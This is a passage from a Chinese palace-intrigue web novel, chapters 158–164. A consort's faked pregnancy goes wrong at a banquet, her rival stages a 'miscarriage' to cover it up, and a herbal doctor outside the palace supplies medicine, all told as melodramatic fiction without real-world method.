谢妤靠在墨司渊怀中,眼角余光瞥向阿孟,唇角勾起一抹得意的笑。
“皇上真是疼爱臣妾,这般重视我们的孩子。”谢妤故意加重“我们”二字,声音甜腻得几乎要滴出蜜来,“臣妾真是三生有幸。”
阿孟神色不变,只是垂眸整理着案几上的茶具,仿佛未闻此言。
徐才人见状,急忙起身行礼:“恭喜皇上,恭喜谢贵妃,皇嗣将临,实乃我朝之福。”
“是啊是啊,”一旁的淑仪也连忙附和,“皇上对谢贵妃真是宠爱有加,令人羡慕。”
“谢贵妃有福气,能得皇上如此厚爱。”
众嫔妃纷纷起身,争相恭贺,言语间尽是对谢妤的吹捧,对墨司渊的奉承。
殿内一时觥筹交错,笑语盈盈。
墨司渊目光却时不时落在阿孟身上,见她始终面色平静,不为所动,心中愈发不悦。
“孟贵妃,”墨司渊突然开口,声音冷淡,“你筹办的这场宴席,朕很满意。”
阿孟闻言,缓步上前,行了个标准的礼:“臣妾谢皇上夸赞。”
“只是,”墨司渊话锋一转,“你看起来似乎不太高兴?是不是觉得委屈?”
阿孟抬眸,目光清澈如水:“臣妾不敢。能为皇上和各位娘娘服务,是臣妾的荣幸。”
谢妤见墨司渊有意刁难阿孟,心中暗喜,柔声道:“皇上,孟贵妃这些日子在我宫中学规矩,想必是累了。不如让她先下去休息?”
“不必。”墨司渊冷冷道,“既是她筹办的宴席,自然要陪朕喝完这杯酒。”
他命人取来一杯酒,递给阿孟:“喝了它。”
阿孟接过酒杯,不卑不亢:“臣妾遵旨。”
她一饮而尽,面不改色地将空杯放回托盘。
歌舞散尽,笙箫低徊,宴席正式开始。阿孟向云珠使了个眼色:“传膳。”
云珠垂首退下。片刻之后,宫女们鱼贯而入,手托精致银盘,菜品按次序摆放台案。
谢妤目光一扫,只见自己和徐才人面前的餐食与众不同。
她的面前是鲍参燕窝羹,徐才人案前则是百合杞子糖水。而其他嫔妃所得皆是寻常菜肴,丝毫不同。
“孟贵妃,”谢妤轻撩发丝,目光含笑看向阿孟,“你做事还真是细心,竟知道本宫腹中皇子即将临盆,准备的食物如此精细滋补。看来这些日子在本宫宫中学到了不少。”
众嫔妃闻言,纷纷看向阿孟,眼中闪烁着各种复杂情绪。
阿孟这才起身,姿态从容:“谢贵妃谬赞了。臣妾只是依照宫规行事,备下合适的膳食。若有半分得当之处,皆是谢贵妃调教的好。”
墨司渊眉头微蹙,脸色阴沉如水。
他搂着谢妤的手不自觉收紧几分。
谢妤察觉到这一细节,心中很是不快。
墨司渊对阿孟仍有情绪波动,她嫉妒地瞥了阿孟一眼,唇角噙着不易察觉的冷笑。
“红豆,把我的羹汤端来。”谢妤柔声唤道,“这份鲍参羹,本宫要同皇上一起品尝品尝。”
红豆恭敬地将银碗递上,谢妤接过汤勺,轻轻舀起一勺,送入口中。
“果然清甜可口,滋补养胎。”谢妤笑靥如花,看向墨司渊,“皇上,您瞧,孟贵妃其实心思很细腻——”
话未说完,谢妤面色骤变,双手抱腹,一声惨叫:“啊!好痛!”
她剧烈颤抖,手中勺子跌落,带倒身前碗盏,汤水四溅。
惶急之下,谢妤从座位上跌倒,扑在墨司渊膝前,脸色苍白如纸。
“我的孩子——皇上,救救我们的孩子!”谢妤声音凄厉,指甲深深掐入墨司渊手臂。
殿内顿时大乱。
徐才人见状,吓得脸色惨白,立刻扔了手中餐碗,退后三步:“这、这是怎么回事?”
第159章 小产
“太医!快传太医!”宫女们惊慌失措,尖叫着呼喊。
墨司渊脸色铁青,下意识看向阿孟。
令他诧异的是,阿孟非但没有慌乱,反而神色平静,立于原地,眼中波澜不惊。
“皇上,臣妾好疼——”谢妤痛苦地呻吟着,紧抓墨司渊的手不放,“怕是孩子要保不住了!”
墨司渊这才回神,紧握谢妤的手:“别怕,太医马上到。”
他沉声喝道:“传太医!马上!”
此时,阿孟穿过惊慌的人群,目光落在谢妤身上。只见她脸色煞白,几近昏厥,痛苦地蜷缩在地上。
“都让开!”阿孟沉声道,“谢贵妃腹痛难忍,需立刻移至偏殿休息。”
几名宫女闻言,战战兢兢地上前,小心翼翼地将谢妤抬起。红豆站在一旁,手足无措,心中惊疑不定。
“难道是药量下得太多?”红豆暗自思忖,额头渗出细密汗珠,“怎会如此严重?”
阿孟领着宫女们快步向偏殿走去,步履稳健,神色镇定。待谢妤被安置在榻上,她转身环视众人。
“都出去。”阿孟语气不容置疑,“谢贵妃凤体尊贵,岂容闲杂人等围观?”
众人纷纷退出,唯有红豆犹豫不决,上前一步。
“孟贵妃,你想耍什么花样?”红豆声音尖厉,“我家娘娘凤体尊贵,岂能让你一人照料?若有闪失——”
话音未落,阿孟抬手便是一记响亮的耳光。
“闭嘴!”阿孟眼中寒光乍现,“若想谢贵妃活命,就速速退下。”
红豆捂着火辣辣的脸颊,心虚地后退两步。她偷眼看向墨司渊,见他面无表情地站在一旁,不由得更加惶恐。
“是……奴婢这就退下。”红豆低头应道,不敢再多言一句。
偏殿门外,太医匆匆赶至,却被云珠拦住去路。
“太医且慢,”云珠沉声道,“孟贵妃正在为谢贵妃施救,暂不便打扰。”
殿内,谢妤痛得面如金纸,冷汗涔涔,双手紧抓床榻。
“救……救我……”谢妤声若蚊蝇,眼中满是恐惧。
阿孟神色凝重,为谢妤把脉,眉头微蹙。
她从袖中取出一枚药丸,递到谢妤唇边。
“谢贵妃,服下此药,可保性命。”阿孟声音平静,眼中却闪过一丝复杂之色。
谢妤已无力思考,张口便将药丸吞下。
片刻后,她的呼吸渐渐平稳,面色也有所好转。
“孩子……本宫这一胎……”谢妤虚弱地问道,眼中含泪。
阿孟猜测,是谢妤为了陷害自己所找来的药物跟自己提供的假孕药物相冲突,这才导致腹痛难忍,她这回可真是搬起石头砸自己的脚。
事已至此,阿孟索性顺水推舟,把谢妤肚子里本就不存在的孩子“流掉”。
阿孟没有立即回答,而是从袖中取出一个小包,轻轻摇晃几下,撒出一些粉末在谢妤腹部周围。
淡淡药香弥漫开来,谢妤的身体逐渐失去了知觉。
谢妤瞳孔猛然睁大,恐惧席卷全身。
她想要大喊,却只能发出微弱的呜咽声。
她清楚感觉到自己的手脚已经无法移动分毫,唯有眼神还能表达惊恐。
阿孟自顾自地在谢妤裙下忙碌,不时拿出一些红布和碗盏摆放。
“红豆!红—”谢妤试图呼唤心腹,却只能发出气若游丝的声音。
阿孟这才抬头,眼神冷静的可怕。“娘娘,您别白费力气了。”她声音平静如水,“麻沸散的效果已然显现,您只需躺着即可。”
“你……敢……”谢妤眼中怒火燃烧。
“当初我便告诉过你,”阿孟摆弄着谢妤裙下的布料,语调不疾不徐,“假孕之事非同小可。你为了皇后之位,执意要我助你一臂之力。我也曾警告过你,此事有伤身体,这个‘孩子’根本不可能诞下。”
谢妤咬紧牙关,拼命摇头,泪水无声滑落。
“你却还要用这莫须有的‘孩子’来陷害于我。”阿孟取出一个装有红色液体的小碗,小心翼翼地倾倒,“可惜药量太大,险些要了你的性命。为保住谢贵妃娘娘您,只能委屈这位‘皇子’了。”
谢妤眼角泪水不断滚落,她怨毒地瞪着阿孟,却无力反抗。
“疼痛会持续一段时间,”阿孟抬眸直视谢妤,眼中透着不容置疑的坚定,“配合我演完这场戏,娘娘才能保住自己。娘娘若是执意不肯听我的主意,那只怕走出大殿,所有人都会知道,堂堂谢贵妃竟用假孕欺骗圣上。”
“太医就在门外,娘娘,已经耽误不得了!”
“你……不会……得逞……”谢妤每说一个字都如同用尽全身力气。
阿孟面色严肃,修长手指轻轻拂过谢妤额头。
“疼痛尚能忍受,对吗?贵妃娘娘聪明一世,不会想不明白这个道理。”她将一团红布紧握手中,声音柔和,“忍一忍,很快就好。”
谢妤闭上双眼,泪水顺着脸颊滑落,咬牙切齿。
一个时辰缓缓流逝。
偏殿外,红豆焦躁不安地踱着步子,不时向紧闭的殿门投去忧虑的目光。
墨司渊立于廊下,身形笔直如松,唯有紧攥的拳头泄露了几分情绪。殿内静得可怕,仿佛一口深井,连呼吸声都被吞噬。
终于,殿门被缓缓拉开。
殿门轻响,阿孟一袭青衣,满手鲜血地走出。
浓重的血腥味扑面而来,众人不由自主地后退几步。
她神色疲惫,却依然保持着端庄的姿态,缓步行至墨司渊面前,双膝跪地。
“皇上,”阿孟声音沙哑却镇定,“臣妾无能,谢贵妃腹中骨肉已经保不住了。”
红豆闻言,面如死灰,双腿一软跪倒在地。宫女们倒吸一口冷气,纷纷跪地。
“皇上节哀。”众人齐声道,声音低沉。
墨司渊面无表情地看着满殿跪拜的人,方才紧攥的拳头此刻竟然缓缓松开。片刻沉默后,他伸手将阿孟从地上扶起。
“孟贵妃救治及时,已是尽力。”墨司渊声音淡漠,却透着不易察觉的松缓,“你近日辛劳,又费心救治谢妤,朕甚是欣慰。赏白银千两,以示褒奖。”
阿孟抬眸,墨司渊眼底的平静令她心中一凛。
这个男人,竟是这般可怕。纵使皇嗣不保,他脸上竟无半分波澜。
第160章 同一条船上的蚂蚱
“臣妾不敢当圣上厚赐。”阿孟恭敬垂首,声音平静,“只是尽心尽力而已。”
“退下吧,让太医们进去。”墨司渊淡淡道,目光落在她满是血迹的双手上,“去换身干净衣裳。”
“是,皇上。”阿孟行礼退后,平静如水的眸中看不出喜怒。
红豆跪在地上,紧咬下唇,强忍着没有哭出声来。
她看着阿孟从容离去的背影,心中疑惑与恐惧翻涌。
“这、这怎会如此?”红豆颤声道,“怎会小产呢?”
太医们匆匆入殿,宫女们带着布帛热水鱼贯而入。
殿外,阿孟向云珠使了个眼色,二人默不作声地离去,留下满殿慌乱与哀伤。
朝露宫内,重重帘幕遮蔽日光。
谢妤如从噩梦中惊醒,缓缓睁开沉重的双眼。
头痛欲裂间,她下意识摸向腹部,触手之处平坦如初。
那里本该隆起的弧度,如今竟是空空如也。
“红豆…红豆!”谢妤声音嘶哑,一声重过一声。
红豆正坐在床边打盹,闻声惊醒,慌忙起身:“娘娘醒了?奴婢在此伺候。”
谢妤双眼血丝密布,盯着红豆的脸,眸中满是狂怒:“你这贱婢,看看你做的好事!”她抬手便是一记响亮耳光,力道之重,竟将红豆打得踉跄后退。
“娘娘饶命!奴婢知错了!”红豆捂着红肿的脸颊,跪地求饶,“是奴婢无能,害了娘娘的大事!”
谢妤挣扎着欲起身,却被一阵剧痛逼得倒回榻上:“成事不足,败事有余!你给本宫找的是什么药?竟让本宫差点丧命!”
“娘娘息怒!”红豆匍匐在地,额头紧贴冰冷地砖,“太医说娘娘身子虚弱,万万不可动气。”
“身子虚弱?”谢妤冷笑一声,“本宫辛辛苦苦假孕多月,只等足月后找个孩子来冒充皇子,皇后之位便唾手可得!如今却毁在你手上!”
红豆浑身发抖,不敢抬头:“奴婢错了,奴婢真的知错了,奴婢也没想到,孟贵妃她……”
“孟贵妃?你还好意思提孟贵妃!”谢妤眼中闪过一丝怨毒,“若非她想出小产这一计,本宫的假孕岂不就要暴露?她倒是好算计!”
谢妤气急败坏,抄起床头铜盏就要砸向红豆:“你这没用的东西,本宫要—”
“娘娘且慢!”一道清亮女声打断谢妤动作。
顾奚慈推门而入,三步并作两步上前,一把扶住谢妤举起的手:“姐姐身体刚好些,怎能再动肝火?”
“奚慈…”谢妤看清来人,铜盏滑落在床榻边,脸上闪过一丝疲惫,“你怎么来了?”
“听闻娘娘有恙,我怎能不来探望?”顾奚慈轻柔地将谢妤扶回床榻,眉眼间满是担忧。她转头看向红豆:“你先下去准备些热汤。”
待红豆退下,顾奚慈才压低声音:“姐姐,这件事必有蹊跷。”
“何出此言?”谢妤垂眸问道。
“阿孟那贱人不会这般好心。”顾奚慈眼中闪过一丝精光,“她不过问任何人,便主动为姐姐收拾局面?这背后定有我们所不知的打算。”
谢妤闻言,眼中怒火熊熊,不由得咬牙切齿:“本宫等不到来日,今日我便要跟她说个清楚!”
“红豆!”谢妤气急,胸口剧烈起伏,可声音仍然气若游丝,“把阿孟那个贱人给本宫叫过来!”
苔蘅殿内。阿孟正埋首案前。
“这味山药要五钱,木香三钱…”阿孟低声呢喃,眉头微蹙。
话音刚落,殿外突然传来急促脚步声。
门“砰”的一声被推开,红豆怒气冲冲闯入,连基本的行礼都免了,脸颊一侧红肿,眼中满是戾气。
“孟贵妃,我家娘娘唤你过去!”红豆声音尖锐刺耳,“还不快跟我走!”
云珠立刻挡在阿孟身前:“放肆!入殿不行礼,这是何等无礼!娘娘正忙着,岂是你说叫就能叫的?”
阿孟伸手轻拦云珠,眼中闪过一丝冷意,却未发作。
她提笔点上最后一味药材,缓缓放下笔,将药方拿起。
“云珠,你留在殿里。”阿孟唇角微扬,“既是谢贵妃相邀,我自当前往。”
朝露宫内,灯火昏黄。
阿孟随红豆步入寝殿,打眼望去,只见谢妤倚靠榻上,脸色惨白如纸,双眼却燃着怒火。
顾奚慈坐在榻边,见阿孟进来,眼中闪过一丝敌意。
阿孟垂首行礼:“臣妾参见谢贵妃。”
“免了!”谢妤一声冷喝,声音虽轻却透着刺骨寒意,“你好大的胆子,竟敢擅自做主!”
阿孟抬眼,借着烛光看清红豆脸上的掌印,心中了然。她不慌不忙,站得笔直。
“孟贵妃,本宫问你,”谢妤咬牙切齿,“昨日本宫昏迷之时,你究竟做了什么?”
阿孟不卑不亢:“回娘娘,臣妾使用麻沸散替娘娘止痛,做了小产的假象。当时皇上已召太医前来,若检查出娘娘并无身孕,后果…”
“住口!”谢妤厉声打断,顾不得身上疼痛,欲起身却被顾奚慈按住,“你这是在威胁本宫?”
“娘娘误会了。”阿孟不动声色,拿出药方,“臣妾只是实话实说。娘娘难道忘了,我们是同坐一条船的?”
“狂妄!”谢妤怒极反笑,“本宫与你何来''同坐一条船''?你不过是本宫的一枚棋子!”
阿孟轻抚药方,语气平和:“娘娘既用假孕欺瞒圣上,臣妾便成了共犯。若臣妾被诛,娘娘又如何自保?”
阿孟微微摇头,将药方缓缓展开:“臣妾此来,是为娘娘带来调养身体的方子。”
“哼,谁知你这方子里有什么?”谢妤不屑一顾,“你害本宫小产还不够,还想下毒?”
“若娘娘担忧,”阿孟不徐不疾道,“臣妾愿与娘娘同服此药。这‘怀孕’一事既是我二人共谋,无论哪方出事,另一方都难逃责罚。”
谢妤眯起眼睛,怒火中夹杂着一丝犹疑:“你…当真敢与本宫同服?”
阿孟迎上谢妤怀疑的目光:“除了臣妾,娘娘如今还能信任谁来调养身子?那些太医若查出端倪,娘娘又该如何?”
一席话说得谢妤哑口无言。她心中恨极,却又不得不承认阿孟言之有理。
“好,”谢妤咬牙,强压怒火,“暂且饶你一命。但你记住,若本宫身体有半分不适,定要你偿命!”
第161章 出宫配药
“好,”谢妤咬牙,强压怒火,“暂且饶你一命。但你记住,若本宫身体有半分不适,定要你偿命!”
话音刚落,一旁的顾奚慈便按捺不住了。她扶着谢妤的手,柔声细语,眼中却闪着冷光:“姐姐,您怎能轻信于她?这孟贵妃心思叵测,谁知她安的什么心!”
顾奚慈想起那日围场,表哥顾凛鹤竟对这女人另眼相看,心中恨意更甚。
“姐姐,她害得您‘小产’,如今又假惺惺送药方,定是黄鼠狼给鸡拜年,没安好心!依我看,不如……”
“够了,奚慈妹妹。”谢妤打断她,声音透着疲惫,却带着不容置疑的决断,“眼下本宫的身子要紧。”
她深吸一口气,看向顾奚慈:“这贱人说得对,假孕之事,我与她已是一根绳上的蚂蚱。若她完了,本宫也讨不了好。”
谢妤心里清楚,这口气只能暂时咽下。
比起弄死阿孟,保住自己才是当务之急。
“你先顾全大局。”谢妤拍了拍顾奚慈的手,在她耳边低语,“来日方长,有的是机会收拾她。”
顾奚慈见谢妤主意已定,纵有万般不甘,也只能强压下去,垂眸应道:“是,姐姐说的是。”
阿孟将这一切看在眼里,面上波澜不惊。她微微颔首:“那臣妾便先告退了,药方上的药材,臣妾会尽快命人配好送来。”
说完,她不再看谢妤和顾奚慈难看的脸色,转身离开了朝露宫。
回到苔蘅殿,殿内安静许多。云珠早已等候多时,见阿孟回来,连忙迎上:“娘娘,您没事吧?”
阿孟摇摇头,径直走到案前,取出一块腰牌递给云珠。
“拿着我的腰牌,速去宫外一趟。”阿孟压低声音,语速飞快,“按着这张方子抓药,务必亲自看着药材拣选,决不能让人察觉出什么”
云珠接过腰牌和另一张写满药材的纸,认真点头。
“且慢,”阿孟顿了顿,声音更低,“罢了,你直接去一趟回春堂,找到师父,让他帮忙促成这件事。”
云珠心头一凛,知道事关重大,重重点头:“是,娘娘放心,奴婢这就去办!”
她将腰牌和药方仔细收好,不敢耽搁片刻,快步离去。
云珠领了腰牌和药方,脚步匆匆,身影很快消失在宫门外。
苔蘅殿内恢复了寂静,只余下阿孟一人。
她立于窗前,望着窗外摇曳的树影,心思却早已飞远。
谢妤“小产”,虽是意料之外,却也顺水推舟解决了假孕的麻烦。
只是,这宫里,少了一个“有孕”的谢贵妃,便只剩下徐才人了。
徐才人位份低微,又无家族倚仗,腹中孩儿在这深宫之中,如同风中残烛。
谢妤如今自顾不暇,可难保她缓过劲来,不会将矛头指向徐才人。
不行,得尽快想办法,送徐才人出宫才是万全之策。阿孟暗自思忖,指尖无意识地划过微凉的窗棂。
宫外,回春堂后院的伤病所依旧忙碌。
药味弥漫,夹杂着伤患低低的呻|吟。
云珠避开人流,径直来到一间僻静的药房外,轻轻叩门。
贺景行正低头整理药材,听到声音,抬眸看来,见是云珠,眼中闪过一丝讶异。
“贺神医。”云珠屈膝行礼,声音压得低低的,“奴婢云珠,奉我家娘娘之命前来。”
贺景行放下手中的药碾,示意她进来说话:“是你家娘娘让你来的?她如何了?宫里可是又出事了?”
“娘娘还好。”云珠快速将宫中发生的事简述一遍,“谢贵妃假孕败露,用了虎狼之药险些丧命,娘娘将计就计,让她‘小产’了。”
她将阿孟写的药方递上:“这是娘娘让奴婢带来的,说是谢贵妃如今身子亏空得厉害,需好生调养,特来求神医赐药。”
贺景行接过药方,只扫了一眼,嘴角勾起一抹了然的弧度。这丫头,胆子是越来越大了。
他走到药柜前,动作麻利地开始拣选药材,口中却问道:“皇帝是什么态度?”
“皇上……”云珠顿了顿,回想起墨司渊那平静无波的脸,“皇上并未动怒,反而夸赞娘娘救治及时,赏了白银千两。”
“呵。”贺景行发出一声冷笑,手下动作不停,“赏赐?我看他是巴不得谢妤那个孩子赶紧没了!连装都懒得装一下,真是凉薄透顶!”
他将几味药材重重放在桌上,声音带着几分嘲讽:“也好,他既然是这个态度,你家娘娘暂时便安全些。这昏君,心思难测啊。”
贺景行迅速将药材包好,递给云珠:“这药,名为调养,实则……”他没再说下去,只眼中闪过一丝冷意,“你家娘娘会懂的。让她自己多加小心,凡事不可冒进。”
“是,奴婢明白。”云珠接过药包,郑重地点头,“奴婢一定转告娘娘。那奴婢这就回去复命。”
贺景行点点头,看着云珠快步离去的背影,眉头微蹙。
阿孟这步棋走得险,但也确实暂时稳住了局面。
他转身,继续整理药材,只是心绪已不似方才平静。
云珠揣着药包,脚步不停,很快便回了苔蘅殿。
殿内,阿孟正俯身案前,指尖捻动,细细调配着几味药材。安胎之用,解毒之备,皆需万分小心。
云珠轻手轻脚地走近,将药包递上:“娘娘,药取回来了。贺神医交代,让您万事小心。”
阿孟接过药包,并未立即打开。
她放下手中的药材,神色凝重:“此事宜早不宜迟,我答应过她,便要尽力做到。只是如今宫中耳目众多,稍有不慎,便会功亏一篑。”
她沉吟片刻,忽而问道:“我让你准备的东西,可都齐备了?”
云珠连忙应道:“都准备妥当了,只等娘娘吩咐。”
阿孟起身,走到窗边,望着窗外婆娑的树影,心中已有了决断:“如今宫中,人人皆不可信。此事,只能我们自己来办。”
她转过身,目光落在云珠身上:“你去将药炉搬到殿中来。”
云珠一愣,随即应道:“是,奴婢这就去。”
待云珠将药炉搬入殿中,阿孟毫不犹豫地将贺景行开的药材尽数倒入炉内。
她顿了顿,语气坚定:“我要亲自煎药,确保万无一失。”
第162章 养身汤药
云珠看着药炉中渐渐升腾起的烟雾,心中仍有些不解:“娘娘,您为何这般紧张?难道宫里真的……”
“宫里的人,没有一个是简单的。”阿孟轻叹一声,“谢妤如今没了孩子,难保不会狗急跳墙。徐才人腹中的孩子,是她唯一的希望,也是她最大的威胁。我必须保证徐才人的安全,才能安心谋划下一步。”
她一边说着,一边将早已准备好的药材一一放入药炉之中。
空气中弥漫着浓郁的药香,云珠在一旁小心翼翼地扇着炉火。
“你仔细看着,这药炉可不能熄了火。”阿孟吩咐道。
云珠连忙应道:“娘娘放心,奴婢一定寸步不离。”
就在这时,殿外突然传来一阵急促的脚步声。
“孟贵妃可在?”红豆尖利的声音由远及近,打破了苔蘅殿的宁静。
殿门“砰”地一声被粗鲁推开,红豆怒气冲冲地闯了进来,连最基本的礼节都省了。
她脸上红肿未消,眼中戾气翻滚,一进门便被殿内弥漫的浓重药味和烟火气呛得皱起鼻子。
“什么味儿,乌烟瘴气的!”她嫌恶地挥了挥手,目光直直射向阿孟,“孟贵妃,我家娘娘问你,那补药到底好了没有?”
云珠正要上前呵斥,却被阿孟抬手制止。
阿孟放下手中的药杵,神色平静地指了指正咕嘟冒泡的药炉:“急什么?药材刚下锅,总得些时辰。”
红豆狐疑地扫了一眼药炉,又看看阿孟和云珠,冷哼一声:“我家娘娘身子金贵,可等不得!我就在这儿看着你们煎,省得有人动什么手脚!”
她竟真的就叉腰立在殿中,一双眼睛紧紧盯着药炉和阿孟二人。
云珠有些气不过,但见阿孟并未动怒,也只好忍着气,默默地添柴扇火。
殿内一时只剩下药炉的咕嘟声和柴火偶尔爆裂的噼啪声。空气沉闷,带着无声的对峙。
阿孟仿佛未觉,专心致志地控制着火候,偶尔用药勺搅动一下。
好不容易,药汤渐渐浓缩,散发出更醇厚的药香。阿孟取过干净的白瓷碗,用细纱布滤去药渣,小心翼翼地将深褐色的药汤倒入碗中。
“好了。”阿孟端起药碗。
红豆立刻上前一步,紧盯着那碗药:“跟我走吧,娘娘还等着呢。”
二人一前一后走出苔蘅殿。红豆走在前面半步,回头瞥了阿孟一眼,语气带着警告:“孟贵妃,你可仔细着点,别端不稳洒了。要是再耍什么花样,我家娘娘定饶不了你!”
阿孟脚步平稳,垂眸看着碗中晃动的药液,只沉默着点了点头。
阿孟随红豆踏入朝露宫寝殿,一股浓重的药味混杂着脂粉气扑面而来。
顾奚慈已不在,殿内只余下红豆和榻上气息奄奄的谢妤。
谢妤脸色灰败,双目紧闭,胸口微弱起伏,连喘息都显得格外费力,仿佛下
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一刻就要断气。
“还愣着做什么!”阿孟见状,立刻沉声吩咐,“快把娘娘扶起来!”
红豆被她一喝,才如梦初醒,慌忙上前,小心翼翼地将谢妤半扶起身,在她背后垫上软枕。
阿孟端着药碗上前,用汤匙舀起一勺深褐色的药液,凑到谢妤唇边。
药太烫,她轻轻吹了吹,动作不急不缓。
红豆在一旁看得心焦,却又不敢催促。
药汁顺着谢妤干裂的唇角缓缓喂下,一勺接着一勺。
半碗药下肚,谢妤急促的呼吸似乎平稳了些许,脸色也稍稍缓和,但依旧紧闭双眼,未曾转醒。
“好了,药喂完了。”阿孟放下空碗。
红豆紧盯着谢妤,见她没有立刻醒来,顿时急了,转头瞪向阿孟,厉声道:“我家娘娘还没醒,你不能走!”
她上前一步,挡在阿孟身前:“孟贵妃,你就在这儿等着!娘娘一日不醒,你就一日不准离开朝露宫!否则,否则我就去禀告皇上,说你心怀叵测,暗害贵妃!”
阿孟看着她色厉内荏的模样,并未动怒,只淡淡道:“好。”
她寻了个绣墩,在离床榻不远不近的地方坐下,垂眸敛目,仿佛入定一般。
殿内只剩下红豆时不时查看谢妤状况的窸窣声,以及窗外偶尔传来的风声。
时间一点一滴流逝。
约莫两个时辰后,榻上的谢妤终于发出一声几不可闻的呻
第163章 太医上门
谢妤刚缓过神,寝殿外便传来一阵急促的脚步声,紧接着,小宫女慌慌张张地跑了进来,跪在地上禀报道:“娘娘,皇上遣了太医前来,说是要替娘娘诊脉!”
谢妤闻言,原本苍白的脸上瞬间涌上一抹红晕,她还以为是墨司渊挂念自己,心下又是欢喜又是得意,却猛然想起自己假孕之事,若是被太医诊出端倪,那可就万事皆休了!
“红豆!”谢妤急声道,“快,把剩下的汤药都收起来,别让太医瞧见了!”
红豆连忙手忙脚乱地收拾起来,将药碗药渣尽数藏好。
阿孟看着谢妤这般模样,心中只觉可笑。
墨司渊派太医前来,不过是想探听谢妤的身体状况罢了,哪里是真正关心她腹中的孩子?
待一切收拾妥当,谢妤这才勉强镇定下来,吩咐道:“宣太医进来吧。”
太医战战兢兢地走了进来,先是向谢妤恭敬行礼,随后又转向阿孟,恭敬道:“微臣参见贵妃娘娘,贵妃娘娘金安。”
“免礼吧。”阿孟淡淡道。
太医起身,小心翼翼地说道:“皇上听闻贵妃娘娘身体抱恙,特意嘱咐微臣前来,一是为了替贵妃娘娘诊脉,二是为了辅佐贵妃娘娘,照顾谢贵妃的身子。”
谢妤听了这话,心中更是舒畅,看向阿孟的目光中也多了几分炫耀之色。
“有劳太医了。”谢妤语气也柔和了几分,“皇上日理万机,还惦记着本宫的身子,真是让本宫感动。”
“贵妃娘娘言重了,这都是微臣的本分。”太医谦卑道。
“太医,本宫想问你,”谢妤话锋一转,语气带着几分得意,“皇上可有说,要如何安抚本宫?”
太医一愣,小心翼翼地答道:“皇上只说,要微臣尽心尽力地照顾贵妃娘娘,至于赏赐之事,皇上并未提及。”
谢妤闻言,脸色顿时有些难看,但碍于太医在场,也不好发作,只得强压下心中的不满。
太医上前,隔着薄纱为谢妤诊脉。寝殿内一时寂静,只闻太医指尖轻叩腕间的细微声响。
片刻后,太医收回手,眉头微不可察地蹙了一下,随即又松开。他起身,目光在殿内环视一圈,鼻翼微动:“这殿中,似乎萦绕着一股汤药味?”
谢妤心头猛地一跳,脸上刚恢复的一丝血色瞬间褪去。她下意识看向阿孟,眼神带着急切与慌乱。
阿孟仿佛未觉谢妤的惊惶,神色自若地开口:“回太医,是臣妾见谢贵妃身子虚弱,特意寻了个滋补的方子,亲自煎了养身汤药给娘娘服用,想来是那药味还未散尽。”
“哦?养身汤药?”太医点了点头,眼中却带着审慎,“不知孟贵妃用的是何方?可否让微臣一观?也好判断是否与后续调理相冲。”
此言一出,谢妤的心几乎提到了嗓子眼,她死死盯着阿孟,生怕她露出破绽。
谁知阿孟竟十分干脆,从袖中取出一张折叠好的方子,递给太医:“自然可以,太医请过目。”
谢妤瞳孔骤然一缩,指尖掐紧了锦被。这**,她怎么敢!
阿孟却似有所感,递出药方的同时,极其隐晦地朝她递了个眼神,示意她稍安勿躁。
太医接过药方,仔细端详起来。
“这方子……”太医终于抬起头,目光在阿孟和谢妤之间流转,“倒也算平和,以滋补气血为主,辅以安神定惊之药,于贵妃娘娘如今的状况而言,并无不妥。”
谢妤闻言,紧绷的神经终于稍稍放松,她长舒一口气,只觉得后背已被冷汗浸透。
太医又道:“只是,贵妃娘娘如今身子虚弱,用药需得谨慎。往后,还是由太医院统一配药为好,一来药材品质有所保证,二来,也方便皇上随时掌握贵妃娘娘的身体状况。”
他转向阿孟,语气带着几分不容置疑:“孟贵妃,往后这药,便由太医院来配吧,你觉得如何?”
阿孟微微一笑,从容应道:“一切但凭太医安排。”
“如此甚好。”太医满意地点了点
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头,又叮嘱了几句注意事项,便告退离去。
太医的脚步声渐行渐远,谢妤脸上的温顺假象瞬间褪去,眉心紧蹙,目光如刃。
“孟贵妃,你这是什么意思?”谢妤声音冰冷,手指紧紧攥住锦被,“竟敢把方子给太医看?你是想害死本宫吗?”
阿孟不急不慌,从容地行了一礼:“娘娘多虑了。若臣妾不给方子,太医疑心更甚。那方子是臣妾早已准备的,与娘娘服用的药并无半点关系。”
谢妤眼中闪过一丝惊疑:“你早就知道皇上会派太医来?”
“臣妾不敢妄自揣测圣意,”阿孟略微垂首,唇角噙着一丝不易察觉的冷意,“只是未雨绸缪罢了。皇上对娘娘关切,派太医来查探情况,乃是情理之中。”
红豆站在一旁,眼神阴晴不定,显然仍不信任阿孟。
谢妤沉默片刻,视线落在阿孟平静的面容上,半信半疑道:“往后怎么办?太医院的药,本宫可不敢喝。”
“娘娘放心,”阿孟轻声道,“太医院的药,红豆姑姑只管收下。娘娘真正服用的汤药,臣妾会暗中送来。”
一番话说得干脆利落,红豆在旁听得一愣。
谢妤的神色逐渐缓和,靠回软枕上,长长吁出一口气:“你倒是比本宫想的聪明些。”她摆了摆手,疲惫地闭上眼睛,“先退下吧,本宫乏了。”
“是,娘娘保重凤体。”阿孟躬身告退,步履轻缓地退出了寝殿。
踏出朝露宫大门,阿孟抬头望向灰蒙蒙的天色,眸中寒光一闪而逝。
谢妤的身子还会继续亏空,而她,会亲眼看着那女人一步步走向溃败的深渊。
“娘娘!”
匆匆赶回苔蘅殿,云珠一见她便急急迎上来,双手紧握住阿孟的手臂,探头探脑地四下张望。
“怎么了?”阿孟皱眉问道。
云珠附耳低语,声音压得极低:“有贵客到访,已在内殿等候多时了。”
阿孟眸色一沉,心中隐隐有了预感。
第164章 徐才人上门
推开内殿门,映入眼帘的竟是徐才人。
她一袭素色衣裙,面色苍白,眼圈泛红,正坐立不安地等候。
“娘娘救我!”见到阿孟,徐才人猛地站起,随即又捂住腹部,小心翼翼地跪下。“臣妾知道不该擅闯贵妃寝宫,可是……可是臣妾实在没有办法了……”
“起来说话。”阿孟快步上前,将她扶起,让云珠把门关好。
徐才人哽咽着,声音几乎带着颤抖:“谢贵妃那边……臣妾听说她''小产''了……她向来恨我入骨,如今她……她怕是不会放过我腹中骨肉……”
阿孟望着她惶恐的神情,心中一阵叹息。
这深宫之中,腹中有子的女人,是何等艰难。
“娘娘,求您救救臣妾!”徐才人紧紧抓住阿孟的手,指尖冰凉,“若可能……臣妾想……想请娘娘帮忙,让臣妾出宫去……”
阿孟轻轻拍了拍她的手背,声音低沉却坚定:“徐才人放心,我自有办法。”
